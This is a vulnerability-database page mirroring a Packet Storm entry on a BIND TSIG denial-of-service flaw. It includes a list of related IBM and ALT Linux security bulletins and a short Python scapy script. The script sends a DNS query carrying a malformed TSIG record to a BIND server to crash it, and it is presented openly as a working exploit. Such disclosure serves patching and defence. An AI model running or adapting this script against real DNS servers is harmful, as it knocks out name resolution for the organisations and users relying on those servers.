BIND TSIG Denial Of Service

🗓️ 27 May 2020 00:00:00Reported by Teppei FukudaType

packetstorm🔗 packetstormsecurity.com👁 1503 Views

Python script to exploit BIND TSIG Denial of Service vulnerability

Reporter	Title	Published	Views	Family All 211
IBM Security Bulletins	Security Bulletin: Vulnerability in bind affects IBM Integrated Analytics System	10 Nov 202011:19	–	ibm
IBM Security Bulletins	Security Bulletin: IBM API Connect V10 is impacted by denial of service vulnerabilities in Crunchy kernel (CVE-2020-8616, CVE-2020-8617)	7 Oct 202023:02	–	ibm
IBM Security Bulletins	Security Bulletin: Cloud Pak for Security uses packages that are vulnerable to several CVEs	19 Oct 202115:38	–	ibm
IBM Security Bulletins	Security Bulletin: Publicly disclosed vulnerabilities from Bind affect IBM Netezza Host Management	10 Aug 202010:41	–	ibm
IBM Security Bulletins	Security Bulletin: Vulnerabilities in BIND affect AIX (CVE-2020-8616 and CVE-2020-8617)	21 Aug 202021:43	–	ibm
IBM Security Bulletins	Security Bulletin: Vulnerability in bind (CVE-2020-8616 and CVE-2020-8617).	22 Sep 202123:38	–	ibm
IBM Security Bulletins	Security Bulletin: BIND for IBM i is affected by CVE-2020-8616 and CVE-2020-8617	6 Jul 202022:37	–	ibm
0day.today	BIND - (TSIG) Denial of Service Exploit	27 May 202000:00	–	zdt
ALT Linux	Security fix for the ALT Linux 10 package bind version 9.11.19-alt1	19 May 202000:00	–	altlinux
ALT Linux	Security fix for the ALT Linux 8 package bind version 9.10.8.P1-alt2	26 May 202000:00	–	altlinux

`#!/usr/bin/python  
#coding:utf-8  
  
from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT  
  
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)  
  
dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)  
answer = sr1(dns_req, verbose=0)  
  
print(answer[DNS].summary())  
`

27 May 2020 00:00Current

1.3Low risk

Vulners AI Score1.3

EPSS0.93422